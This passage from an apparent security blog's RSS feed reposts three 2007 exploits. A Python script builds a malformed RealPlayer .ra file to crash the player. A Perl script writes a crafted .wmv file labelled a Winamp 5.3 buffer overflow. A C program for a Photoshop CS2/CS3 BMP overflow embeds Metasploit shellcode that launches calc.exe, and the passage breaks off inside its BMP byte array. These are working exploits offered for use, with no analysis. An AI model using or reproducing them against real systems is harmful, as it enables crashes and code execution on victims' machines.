#rput3260+0x64b5:
#632164b5 8b11            mov     edx,dword ptr [ecx]  ds:0023:00000000=????????
################################################################################
#Seams like another memory leak in real-player 10 gold fully patched.
#Im not relying on the debug-info as i had to reboot at crash time
#Vist us at http://blackhat-forums.com/.
################################################################################

import sys
import struct
import time

print"#########################################################################"
print"           n00b is credited for find this bug and writing poc.           "
print"#########################################################################"
print"#                Real player 10 gold .Ra file dos exploit               #"
print"#                      Shouts to every one at milw0rm                   #"
print"#                          =======================                      #"
print"#                            Date :Aprill 29 2007                       #"
print"#                                                                       #"
print"#                Shouts to marsu your doing a excellent job             #"
print"#########################################################################"
print""
print"Special thanks to str0ke"
print""
print"Please wait your file is being created"

time.sleep (2.0)

################################################################################

Main_Header  = "x2ex52x4dx46x00x00x00x12x00x01x00x00x00x00x00x00"
Main_Header += "x00x06x50x52x4fx50x00x00x00x32x00x00x00x00xfax53"
Main_Header += "x00x00xfax53x00x00x02xe8x00x00x02xe8x00x00x00x3c"
Main_Header += "x00x00x10xe4x00x00x07x41x00x00xb3xeex00x00x02xac"
Main_Header += "x00x02x00x0dx0ax4dx44x50x52x00x00x00xa4x00x00x00"
Main_Header += "x00x00x00xfax53x00x00xfax53x00x00x02xe8x00x00x02"
Main_Header += "xe8x00x00x00x00x00x00x07x41x00x00x15xfdx0cx41x75"
Main_Header += "x64x69x6fx20x53x74x72x65x61x6dx14x61x75x64x69x6f"
Main_Header += "x2fx78x2dx70x6ex2dx72x65x61x6cx61x75x64x69x6fx00"
Main_Header += "x00x00x56x2ex72x61xfdx00x05x00x00x2ex72x61x35x66"
Main_Header += "x05x63xd7x00x05x00x00x00x46x00x0ex00x00x02xe8x00"
Main_Header += "x00xaex60x00x07x55x6dx00x00x00x00x00x14x02xe8x00"
Main_Header += "xbax00x00x00x00xacx44x00x00xacx44x00x00x00x10x00"

################################################################################

Mid_Header =   "x01x67x65x6ex41x41x41x41x41x41x41x41x41x41x41x41"
Mid_Header +=  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Mid_Header +=  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Mid_Header +=  "x41x41x41x41x41x41x41x41x41x41x00x00x00x00x00x00"
Mid_Header +=  "x00x62x1fxc1x42x37xc5x7fxd8xaax9bx59x89x0dx91xbb"
Mid_Header +=  "xcdx29x32xb4xb0xd9x30x0fx05x08x5ex2bx3fx60x23x43"
Mid_Header +=  "xe2xf3x82x96x81xfexa4x83x8ex2bx32x09x1ax21x1exc9"
Mid_Header +=  "x8dx00x41x41x41x41x41x41x41x41x41x41x41x41x41x41"

################################################################################

Junk_Header =  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
Junk_Header += "x41x41x00x37xc5x11xf2x37xc5x11xf2x37xc5x11xf2x37"

################################################################################

Tail_Header =  "xc5x49x4ex44x58x00x00x00x3ex00x00x00x00x00x03x00"
Tail_Header += "x00x00x00xb4x2cx00x00x00x00x00x5cx00x00x02xbex00"
Tail_Header += "x00x00x00x00x00x00x00x07x8cx00x00x3dxcex00x00x00"
Tail_Header += "x14x00x00x00x00x0exbcx00x00x78xdex00x00x00x28x49"
Tail_Header += "x4ex44x58x00x00x00x14x00x00x00x00x00x00x00x01x00"
Tail_Header += "x00x00x00x00"

n00b_file = open("Realplayerdos.ra","wb")
n00b_file.write(Main_Header)
time.sleep (1.0)
n00b_file.write(Mid_Header)
time.sleep (1.0)
n00b_file.write(Junk_Header)
time.sleep (1.0)
n00b_file.write(Tail_Header)
n00b_file.close()
print"File was created."</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/247/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/247/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/247/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/247/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/247/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=247&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/06/realplayer-10-ra-file-remote-denial-of-service-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-matrix_overlord59-tux.png" medium="image">
			<media:title type="html">tuxmatrix</media:title>
		</media:content>
	</item>
		<item>
		<title>Winamp</title>
		<link>http://hackatwork.wordpress.com/2007/05/06/winamp/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/06/winamp/#comments</comments>
		<pubDate>Sun, 06 May 2007 14:28:24 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/06/winamp/</guid>
		<description><![CDATA[#!/usr/bin/perl &#160; # Exploit : ############################################# #Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]# ############################################# { print "\n-----------------------------------\n"; print "Winamp &#60;= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY)\n"; print "-----------------------------------\n"; print "\nUniquE-Key{UniquE-Cracker}\n"; print "UniquE[at]UniquE-Key.ORG\n"; print "http://UniquE-Key.ORG\n"; print "\n-----------------------------------\n"; print "\nExploit Completed!\n"; print "\n-----------------------------------\n"; } open(wmv, "&#62;./exploit.wmv"); print wmv "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00". print wmv "\x4D\x54\x68\x64"; close(wmv); # Tested : # --- WINAMP [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=245&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>#!/usr/bin/perl</pre>
<p align="center">
<pre><a href="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-jason_fcys14-tux.png" title="tuxminator">
<p style="text-align:center;"><img src="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-jason_fcys14-tux.png" alt="tuxminator" />

</a></pre>
<pre><span id="more-245"></span>
<a href="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-jason_fcys14-tux.png" title="tuxminator"></a></pre>
<p align="center">&nbsp;</p>
<pre># Exploit :
#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################

{

    print "\n-----------------------------------\n";

    print "Winamp &lt;= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY)\n";

    print "-----------------------------------\n";

    print "\nUniquE-Key{UniquE-Cracker}\n";

    print "UniquE[at]UniquE-Key.ORG\n";

    print "http://UniquE-Key.ORG\n";

    print "\n-----------------------------------\n";

    print "\nExploit Completed!\n";

    print "\n-----------------------------------\n";

}

open(wmv, "&gt;./exploit.wmv");

print wmv "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".

print wmv "\x4D\x54\x68\x64";

close(wmv);

# Tested :

# --- WINAMP 5.3 Version ---</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/245/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/245/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/245/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=245&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/06/winamp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-jason_fcys14-tux.png" medium="image">
			<media:title type="html">tuxminator</media:title>
		</media:content>
	</item>
		<item>
		<title>Adobe Photoshop CS2 / CS3 Unspecified .BMP File Buffer Overflow</title>
		<link>http://hackatwork.wordpress.com/2007/05/06/adobe-photoshop-cs2-cs3-unspecified-bmp-file-buffer-overflow/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/06/adobe-photoshop-cs2-cs3-unspecified-bmp-file-buffer-overflow/#comments</comments>
		<pubDate>Sun, 06 May 2007 14:25:31 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/06/adobe-photoshop-cs2-cs3-unspecified-bmp-file-buffer-overflow/</guid>
		<description><![CDATA[#include "stdio.h" #include "stdlib.h" /* win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char Shellcode[] = "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26" "\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6" "\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa" "\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee" "\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85" "\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7" "\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68" "\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b" "\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01" "\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b" "\x43\x45\x32\xe3"; char bmp_file_part1[] = "\x42\x4d\x38\x70\x03\x00\x00\x00\x00\x00\x36\x04\x00\x00\x28\x00" "\x00\x00\xfd\x01\x00\x00\xb6\x01\x00\x00\x01\x00\x08\x00\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x09\x92\x00\x4e\x09" "\x92\x00\x88\x23\x12\x00\x24\x00\x02\x00\x74\x21\x12\x00\x02\x00" "\x00\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x1c\x20" "\x12\x00\x00\x00\x00\x00\xec\x20\x12\x00\x18\xee\x91\x00\x70\x09" "\x92\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02" [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=242&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>#include "stdio.h"
#include "stdlib.h"</pre>
<pre><span id="more-242"></span></pre>
<pre>

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char Shellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";

char bmp_file_part1[] =
"\x42\x4d\x38\x70\x03\x00\x00\x00\x00\x00\x36\x04\x00\x00\x28\x00"
"\x00\x00\xfd\x01\x00\x00\xb6\x01\x00\x00\x01\x00\x08\x00\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x09\x92\x00\x4e\x09"
"\x92\x00\x88\x23\x12\x00\x24\x00\x02\x00\x74\x21\x12\x00\x02\x00"
"\x00\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x1c\x20"
"\x12\x00\x00\x00\x00\x00\xec\x20\x12\x00\x18\xee\x91\x00\x70\x09"
"\x92\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02"
"\x00\x00\x2c\x24\x12\x00\x04\x24\x12\x00\x45\x09\x92\x00\x4e\x09"
"\x92\x00\xd8\x23\x12\x00\x24\x00\x02\x00\xc4\x21\x12\x00\x02\x00"
"\x00\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x6c\x20"
"\x12\x00\x00\x00\x00\x00\x3c\x21\x12\x00\x18\xee\x91\x00\x70\x09"
"\x92\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02"
"\x00\x00\x7c\x24\x12\x00\x54\x24\x12\x00\xe8\x20\x12\x00\x00\x00"
"\xaf\x00\x32\x07\x92\x00\x51\x00\x00\x00\xb8\x15\xaf\x00\x00\x00"
"\xaf\x00\x50\xa0\x3f\x00\xc0\x20\x12\x00\x18\x00\x00\x00\x04\x23"
"\x12\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xff\xff\x00\x32\x07"
"\x92\x00\xab\x06\x92\x00\xeb\x06\x92\x00\xc8\x23\x12\x00\x80\x02"
"\x00\x00\x00\x00\x00\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x08\x90"
"\x58\x00\xb4\x00\x00\x00\x38\x04\x00\x00\x00\x00\x00\x00\x00\x05"
"\x00\x00\xc6\x21\x00\x00\x00\x00\x00\x00\x64\xfc\xfd\x00\x45\x09"
"\x92\x00\x4e\x09\x92\x00\x68\x65\x00\x00\xa8\x20\x12\x00\x54\x24"
"\x12\x00\xe8\x23\x12\x00\x18\xee\x91\x00\x7c\x24\x12\x00\x08\x00"
"\x00\x00\xf8\x23\x12\x00\x2e\x40\x92\x00\xa8\x20\x15\x00\xd0\x21"
"\x12\x00\x70\x09\x92\x00\xc0\xe4\x98\x00\xef\x40\x92\x00\xbb\x40"
"\x92\x00\x00\x00\x00\x00\x00\xfc\xfd\x00\x01\x80\x00\x00\xd0\x00"
"\x57\x00\x36\x00\x00\x00\x70\x21\x12\x00\x5c\x00\x44\x00\x00\x00"
"\x00\x00\x08\x00\x0a\x00\x88\x3e\x92\x00\x1a\x02\x00\x00\x00\x00"
"\x00\x00\xab\x06\x92\x00\x00\x00\xe2\x00\x7c\x24\x12\x00\x64\x00"
"\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x5a\x00\x6f\x00\x64\x00"
"\x66\x00\x00\xfc\xfd\x00\xd0\x21\x12\x00\x02\x00\x00\x00\xa0\x20"
"\x15\x00\x7a\x00\x00\x00\x08\x90\x58\x00\x5c\x00\x44\x00\x6f\x00"
"\x63\x00\x75\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00"
"\x61\x00\x6e\x00\x64\x00\x20\x00\x53\x00\x65\x00\x74\x00\x74\x00"
"\x69\x00\x6e\x00\x67\x00\x10\x00\x00\x00\x38\x22\x12\x00\x00\x00"
"\xaf\x00\x32\x07\x92\x00\x03\x00\x00\x00\x18\x07\xaf\x00\x00\x00"
"\xaf\x00\x50\xa6\x45\x00\x10\x22\x12\x00\x5c\x00\x64\x00\x54\x24"
"\x12\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xff\xff\x00\x32\x07"
"\x92\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x20\x86\x96\x00\x0c\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xaf\x00\x64\x22\x12\x00\x00\x00"
"\x00\x00\xc8\x05\x92\x00\xc8\x7b\x49\x00\x30\x23\x12\x00\x51\x05"
"\x92\x00\x08\x0b\xaf\x00\x6d\x05\x92\x00\xd0\x7b\x49\x00\xd0\x7b"
"\x49\x00\xd4\x7b\x49\x00\x00\x90\x58\x00\x78\x01\xaf\x00\x30\x23"
"\x12\x00\x08\x90\x58\x00\x00\x00\x00\x00\x98\x18\x80\x00\x00\x00"
"\x00\x00\xd0\x00\x57\x00\x0c\x25\x12\x00\x70\x0f\x5a\x00\xdc\x22"
"\x12\x00\x00\x00\x00\x00\x00\x01\x00\x00\x28\x54\x28\x00\x0c\x25"
"\x12\x00\x09\x00\x00\x00\x47\x49\x46\x00\x39\x61\xfd\x00\xb6\x01"
"\xd5\x00\x00\x1b\x1b\x00\xff\xff\xff\x00\xd7\xea\xef\x00\x2e\x73"
"\xa9\x00\xd9\xd9\xd9\x00\x6e\xb6\x00\x00\xb4\x70\x70\x00\xf0\x92"
"\x6c\x00\xcc\xcc\xfa\x00\xe6\x99\x99\x00\x50\x94\xc5\x00\xe9\xe6"
"\xf7\x00\x32\xac\xb4\x00\x4d\x4b\x48\x00\xc9\xb4\xab\x00\x38\xe0"
"\xe9\x00\xec\xe5\xde\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
